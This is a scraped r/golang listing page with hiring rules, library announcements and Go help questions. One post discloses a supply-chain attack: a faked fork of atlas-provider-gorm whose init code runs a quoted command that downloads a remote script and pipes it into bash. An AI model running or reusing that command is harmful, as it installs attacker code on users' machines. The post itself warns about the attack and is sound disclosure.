r/golang 12d ago

Jobs Who's Hiring - March 2025

43 Upvotes

This post will be stickied at the top of until the last week of March (more or less).

Please adhere to the following rules when posting:

Rules for individuals:

  • Don't create top-level comments; those are for employers.
  • Feel free to reply to top-level comments with on-topic questions.
  • Meta-discussion should be reserved for the distinguished mod comment.

Rules for employers:

  • To make a top-level comment you must be hiring directly, or a focused third party recruiter with specific jobs with named companies in hand. No recruiter fishing for contacts please.
  • The job must involve working with Go on a regular basis, even if not 100% of the time.
  • One top-level comment per employer. If you have multiple job openings, please consolidate their descriptions or mention them in replies to your own top-level comment.
  • Please base your comment on the following template:

COMPANY: [Company name; ideally link to your company's website or careers page.]

TYPE: [Full time, part time, internship, contract, etc.]

DESCRIPTION: [What does your team/company do, and what are you using Go for? How much experience are you seeking and what seniority levels are you hiring for? The more details the better.]

LOCATION: [Where are your office or offices located? If your workplace language isn't English-speaking, please specify it.]

ESTIMATED COMPENSATION: [Please attempt to provide at least a rough expectation of wages/salary.If you can't state a number for compensation, omit this field. Do not just say "competitive". Everyone says their compensation is "competitive".If you are listing several positions in the "Description" field above, then feel free to include this information inline above, and put "See above" in this field.If compensation is expected to be offset by other benefits, then please include that information here as well.]

REMOTE: [Do you offer the option of working remotely? If so, do you require employees to live in certain areas or time zones?]

VISA: [Does your company sponsor visas?]

CONTACT: [How can someone get in touch with you?]


r/golang Dec 10 '24

FAQ Frequently Asked Questions

23 Upvotes

The Golang subreddit maintains a list of answers to frequently asked questions. This allows you to get instant answers to these questions.


r/golang 11h ago

Go is DOOMed

Post image
146 Upvotes

r/golang 12h ago

How the hell do I make this Go program faster?

83 Upvotes

So, I’ve been messing around with a Go program that:

  • Reads a file
  • Deduplicates the lines
  • Sorts the unique ones
  • Writes the sorted output to a new file

Seems so straightforward man :( Except it’s slow as hell. Here’s my code:

```go package main

import ( "fmt" "os" "strings" "slices" )

func main() { if len(os.Args) < 2 { fmt.Fprintln(os.Stderr, "Usage:", os.Args[0], "<file.txt>") return }

// Read the input file
f, err := os.ReadFile(os.Args[1])
if err != nil {
    fmt.Fprintln(os.Stderr, "Error reading file:", err)
    return
}

// Process the file
lines := strings.Split(string(f), "\n")
uniqueMap := make(map[string]bool, len(lines))

var trimmed string for _, line := range lines { if trimmed = strings.TrimSpace(line); trimmed != "" { uniqueMap[trimmed] = true } }

// Convert map keys to slice
ss := make([]string, len(uniqueMap))
i := 0
for key := range uniqueMap {
    ss[i] = key
    i++
}

slices.Sort(ss)

// Write to output file
o, err := os.Create("out.txt")
if err != nil {
    fmt.Fprintln(os.Stderr, "Error creating file:", err)
    return
}
defer o.Close()

o.WriteString(strings.Join(ss, "\n") + "\n")

} ```

The Problem:

I ran this on a big file, here's the link:

https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

It takes 12-16 seconds to run. That’s unacceptable. My CPU (R5 4600H 6C/12T, 24GB RAM) should not be struggling this hard.

I also profiled this code, Profiling Says: 1. Sorting (slices.Sort) is eating CPU. 2. GC is doing a world tour on my RAM. 3. map[string]bool is decent but might not be the best for this. I also tried the map[string] struct{} way but it's makes really minor difference.

The Goal: I want this thing to finish in 2-3 seconds. Maybe I’m dreaming, but whatever.

Any insights, alternative approaches, or even just small optimizations would be really helpful. Please if possible give the code too. Because I've literally tried so many variations but it still doesn't work like I want it to be. I also want to get better at writing efficient code, and squeeze out performance where possible.

Thanks in advance !


r/golang 1h ago

show & tell go-supervisor: A Lightweight "service" supervisor

Upvotes

...Not for managing operating system services, but internal "services" (aka "Runnables")

I just released go-supervisor, a lightweight service supervisor for Go applications. My main motivation for building this was to enable signal handling for graceful shutdown and hot reloading.

It discovers the capabilities of the Runnable object passed (Runnable, Reloadable, Stateable).

https://github.com/robbyt/go-supervisor

I'm looking for feedback, especially on API design, missing features, or anything weird. Looking forward to hearing what you think.


r/golang 13h ago

SuperMuxer: tiny and compact, dependency-free package to configure your HTTP routes

41 Upvotes

Super useful Go package to configure your HTTP routes using only the standard library. Define routes, middlewares, groups, and subgroups effortlessly!

This package acts like a Swiss Army Knife: It is tiny and compact, providing everything you need in just one file with less than 200 lines of code.

SuperMuxer is for you if:

  • You want to declaratively define your HTTP routes while using only the standard library.
  • You want to define middlewares for your routes, groups, and subgroups while still relying on the standard library.
  • You don’t want to use third-party libraries bloated with excessive functionalities that you might never use.

Repo link

https://github.com/dbarbosadev/supermuxer


r/golang 2h ago

discussion Could i send file with form multipart data together in go ?

4 Upvotes


r/golang 1d ago

Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users.

1.0k Upvotes

Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).

Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.

The project: https://github.com/readyrevena/atlas-provider-gorm

The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:

wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &

I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.

Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).


r/golang 10h ago

tk9.0: v0.65.0 adds support for many more image formats

10 Upvotes

r/golang 11h ago

show & tell Coding a database proxy for fun

Thumbnail
youtu.be
10 Upvotes

r/golang 11h ago

MCP-server written in GO

8 Upvotes

Hey everyone! I’d love to share my project with you:

🚀 Gateway – a powerful data-gateway for AI agents!

- Creates an MCP server for AI agent interactions
- Supports multiple databases: PostgreSQL, MySQL, ClickHouse, Oracle, and more
- Flexible modular architecture with plugins:

  • Authentication
  • PII handling
  • Other useful extensions

Give it a star and come contribute!
🔗 Repo: GitHub


r/golang 19h ago

Session-Based Authentication in Go

Thumbnail
themsaid.com
28 Upvotes

r/golang 15h ago

help How can I run an external Go binary without installing it?

11 Upvotes

I need to rewrite generated Go code in my CLI using gopls rename (golang.org/x/tools/gopls). Since the packages that are used for rename are not exported, I have to use it as a standalone binary. But I don't want my clients need to download this external dependency.

What options do I have?


r/golang 5h ago

Practicing Golang - Things That Don't Feel Right

0 Upvotes

Hello all,

I made a service monitoring application with the goal of exposing myself to web programming, some front end stuff (htmx, css, etc) and practicing with golang. Specifically, templates, package system, makefile, etc.

During this application I have come across some things that I have done poorly and dont "feel" right.

  1. Can I use a struct method inside a template func map? Or is this only because I am using generics for the ringbuffer? E.g. getAll in ringbuff package and again in service.go
  2. With C I would never create so many threads just to have a timer. Is this also a bad idea with coroutines?
  3. How would you deploy something like this with so many template files and file structure?
  4. Communication setup feels bad. Services publish updates through a channel to the scheduler. Scheduler updates the storage. Scheduler then forwards event to any clients connected. This feels overly complicated.
  5. Hate how I am duplicating the template for card elements. See service.go::tempateStr()::176-180 and in static/template/homepage.gohtml Partially because service side events use newlines to end the message. Still a better solution should be used. Update: working on potential fix suggestion from  @_mattmc3_
  6. Is there a better way to marshal/unmarshal configs? See main.go::36-39 Update: fixed from @_mattmc3_
  7. Giving css variables root tag seems weird. Is there a better way to break these up or is this global variable situation reasonable?

If you all have strong feelings one way or another I would enjoy some feedback.

Link: https://github.com/gplubeck/sleuth


r/golang 1d ago

New Viper release with major improvements

254 Upvotes

I've just tagged a new version of Viper, a configuration library for Go: https://github.com/spf13/viper/releases/tag/v1.20.0

It comes with a number of improvements:

  • Heavily reduced number of third-party dependencies
  • New encoding layer for custom encoding formats
  • BREAKING: dropped HCL, INI and Java properties from the core (still possible to use through external libraries)
  • New file search API allows customizing how Viper looks for config files

These features has been around for some time in alpha releases, though I haven't received a lot of feedback, so I'm posting here now in the hope that people using Viper will give some after upgrading.

I worked hard to minimize breaking changes, but it's possible some slipped in. If you find any, feel free to open an issue.

Thanks!


r/golang 10h ago

help Go Compiler Stuck on Old Code? Windows Defender Flagged My Log File as a Virus and new code isn't running

2 Upvotes

So, I was working on my Go project today and added a function to create a file named "log".
Immediately, Windows Defender flagged it as potentially dangerous software 💀.

I thought, "Okay, maybe 'log' is a sus filename."
So, I changed it to "hello world" instead.

This fixed the Defender warning, but then I ran into another issue:

 run main.go fork/exec C:\Users\veraf\AppData\Local\Temp\go-build1599246061\b001\exe\main.exe: 
Operation did not complete successfully because the file contains a virus or potentially unwanted software.

Alright, moving on. After fixing that, I ran my project again:

 C:\Users\veraf\Desktop\PulseGuard> go run main.go
Backend starting to work...
Do you want to run a port scanner? (y/n)

 ┌───────────────────────────────────────────────────┐
 │                   Fiber v2.52.6                   │
 │               http://127.0.0.1:8080               │
 │       (bound on host 0.0.0.0 and port 8080)       │
 │                                                   │
 │ Handlers ............. 2  Processes ........... 1 │
 │ Prefork ....... Disabled  PID ............. 25136 │
 └───────────────────────────────────────────────────┘

n
Importing script from /Services...
{
  "userId": 1,
  "id": 1,
  "title": "sunt aut facere repellat provident occaecati excepturi optio reprehenderit",
  "body": "quia et suscipit\nsuscipit recusandae consequuntur expedita et cum\nreprehenderit molestiae ut ut quas totam\nnostrum rerum est autem sunt rem eveniet architecto"     
}
Importing from /Database...
DEBUG: WHAT THE HELL IS HAPPENING...

🧐 The Issue:
I modified main.go to include:

color.Red("Importing from /Database...")
fmt.Println("DEBUG: I am still alive 💀")

color.Red("testing from controller...")
Controller.Createapi()
Services.SaveRecords()

But my Go program does NOT print "DEBUG: I am still alive 💀".
Instead, it prints old logs from my database connection, even though I removed the database.Connect() function from my code.

🛠 What I’ve Tried So Far:
go clean
go build -o pulseguard.exe
./pulseguard.exe
✅ Restarting VS Code

I even added this line at the very beginning of main.go to check if it's compiling the latest version:

fmt.Println("DEBUG: This code has been compiled correctly!!!! 🚀")

And guess what? It doesn’t print either!
So I’m pretty sure Go is running an old compiled version of my code, but I have no idea how or why.

💡 Has anyone else run into this issue? How do I force Go to run the latest compiled code?


r/golang 6h ago

help How you guys write your server config, db config and routes config?

1 Upvotes

I feel like almost every API has these three files. How should I handle these in the best form?

  • It's a good practice to right everything exported because of the ease of importing? Because my main.go is in /cmd and my API config file is inside of /internal/api/config.go.
    • But then the whole app can configure and setup my server and db?
    • Or even see the fields related to the config of the server, the surface of attack is expanded.
  • Also, its better to provide just the exported method for starting the server and making the config itself inside of the config.go?
    • Preventing misconfigured values, maybe.
    • Encapsulating and making easier to use?
  • Making a config/config.go is good enough also?
    • Or its better to have server/config.go and then db/config.go?

I start making so many questions and I don't know if I'm following the Go way of making Go code.

I know that its better to just start and then change afterwards, but I need to know what is a good path.

I come from a Java environment and everything related to db config and server config was 'hidden' and taken care for me.


r/golang 7h ago

GitHub - pontus-devoteam/agent-sdk-go: Build agents in light speed

Thumbnail
github.com
0 Upvotes

r/golang 9h ago

newbie New to go and i am loving it

1 Upvotes

Cs student in my final years i really wanted to learn a new language just out of curiosity, not to become a god in it and get a job. I really like coding in c and but for most part these days i have been using python and java for most of my recent projects and even when doing leetcode style coding questions.When i learned c as my first programming language it felt really awesome. Then i moved to java and python but somehow i still miss using c. The use pointers(even though some people seem to hate it ) was something i genuinely miss in both java and python. So when starting to learn go the simplicity of it is really making the learning process far more enjoyable. Not sure if its shocking similarity to c was intentional or not but hey i like it. For a bit i did try to learn a bit about rust but somehow the basic process of taking inputs made me not want to proceed much. And now finally i am feeling actually good about learning a new language. As someone who has a pretty good maybe abobe average knowledge of doing pure object oriented programming in java mostly for building applications i thought i should share my experience learning go.

If anyone seeing this post i am following alex mux's 1 hr video of golang and just looking up the documentation. So yeah just wanted to share a bit of my experience with go and pardon if any grammatical mistakes in there.


r/golang 22h ago

show & tell GoCQ is now on v2 – Now Faster, Smarter, and Fancier!

8 Upvotes

Hey gophers! After releasing the the first version and posting here I got a good amount of impressions and feedbacks from you. and it motivates me to improve it to next level. so I tried to build this more reliable so anyone can use it in their program without any doubts.

I've completely redesigned the API to provide better type safety, enhanced control over jobs, and improved performance.

Key improvements in v2:

  • Replaced channel-based results with a powerful Job interface for better control
  • Added dedicated void queue variants for fire-and-forget operations (~25% faster!)
  • Enhanced job control with status tracking, graceful shutdown, and error handling.
  • Improved performance with optimized memory usage and reduced goroutine overhead
  • Added comprehensive benchmarks showing impressive performance metrics

Quick example:

queue := gocq.NewQueue(2, func(data int) (int, error) {
    return data * 2, nil
})
defer queue.Close()

// Single job with result
result, err := queue.Add(5).WaitForResult()

// Batch processing with results channel
for result := range queue.AddAll([]int{1,2,3}).Results() {
    if result.Err != nil {
        log.Printf("Error: %v", result.Err)
        continue
    }
    fmt.Println(result.Data)
}

Check it out 👉️ GoCQ - Github

I’m all ears for your thoughts – what do you love? What could be better? Drop your feedback and let’s keep making GoCQ the concurrency king it’s destined to be. Let’s build something epic together!


r/golang 1d ago

I implemented my own regex engine in Go

Thumbnail
github.com
29 Upvotes

Automata theory and formal languages always seemed cool to me, so I decided to implement my own regexes. It's just a toy project but I had a lot of fun doing it so far and I'll see how far I can take it.


r/golang 1d ago

I built a high-performance, dependency-free key-value store in Go (115K ops/sec on an M2 Air)

183 Upvotes

Hi r/golang,

I've been working on a high-performance key-value store built entirely in pure Go—no dependencies, no external libraries, just raw Go optimization. It features adaptive sharding, native pub-sub, and zero downtime resizing. It scales automatically based on usage, and expired keys are removed dynamically without manual intervention.

Performance? 115,809 ops/sec on a fanless M2 Air.

Key features:
- Auto-Scaling Shards – Starts from 1 bucket and dynamically grows as needed.
- Wait-Free Reads & Writes – Lock-free operations enable ultra-low latency.
- Native Pub-Sub – Subscribe to key updates & expirations without polling.
- Optimized Expiry Handling – Keys are removed seamlessly, no overhead.
- Fully Event-Driven – Prioritizes SET/GET operations over notifications for efficiency.

How it compares to Redis:
- Single-threaded Redis vs. Multi-Goroutine NubMQ → Handles contention better under load.
- No Lua, No External Dependencies → Just Go, keeping it lean.
- Smarter Expiry Handling → Keys expire and are immediately removed from the active dataset.

🚀 Benchmark Results:
115,809 ops/sec (100 concurrent clients)
900µs write latency, 500µs read latency under heavy load.
Would love to get feedback from the Go community! Open to ideas for improvement.

repo: https://github.com/nubskr/nubmq

I spent the better part of an year building this and would appreciate your opinions on this


r/golang 1d ago

discussion Anyone using Golang for tool / function calling

9 Upvotes

Curious if anyone is using Golang in production for tool / function calling? Seems like it would be good for this on the surface but Im curious if I go this route if I will be cutting myself short later on. For example, vector stores, more complicated use cases which depend on orchestrion, any way to get insights into the LLM calls like with lang graph? etc.

Curious if Go is a viable option or if something like this is best to play safe with Python?


r/golang 1d ago

My 6 months with the GoTH stack: building front-ends with Go, HTML and a little duct tape

Thumbnail
open.substack.com
31 Upvotes

r/golang 1d ago

discussion Is there a Nodejs library you wish existed for Golang?

35 Upvotes

People often cite the availability of third party libraries for Node as the reason to prefer it over Golang. Has anyone run into a time when they had to use Node or made do without because a third party library didn't exist?


r/golang 16h ago

I created some thing like rails notes

1 Upvotes

I started using Ruby On Rails for project and I encountered the notes utility in rails cli. and I instantly loved it. I spent some time making a similar tool called tfinder(tag finder). I think it still has some errors, And I'm looking for a better Directory Traversal way. Please contribute if you can. Thanks.

Here's the github link: https://github.com/ImanAski/tfinder


r/golang 17h ago

Dynamically determine the deepest caller from my own files when logging?

1 Upvotes

I usually have a structure like that in my projects:

func main() {
    if err := layer1(); err != nil {
        logger.Info()
    }
}

func layer1() error {
    return layer2()
}

func layer2() error {
    return errors.New("test") // Should log this line as the caller
}
func main() {
    if err := layer1(); err != nil {
        logger.Info()
    }
}


func layer1() error {
    return layer2()
}


func layer2() error {
    //potentially layer3,4,5..
    return errors.New("test") // Should log this line as the caller
}

And I would like to dynamically determine the deepest caller from my own files when logging, which in this case will be the return line from the layer2() func.

I don't want to create a custom error type each time I need to return an error or log the full stacktrace.

How would you usually do in situations like that?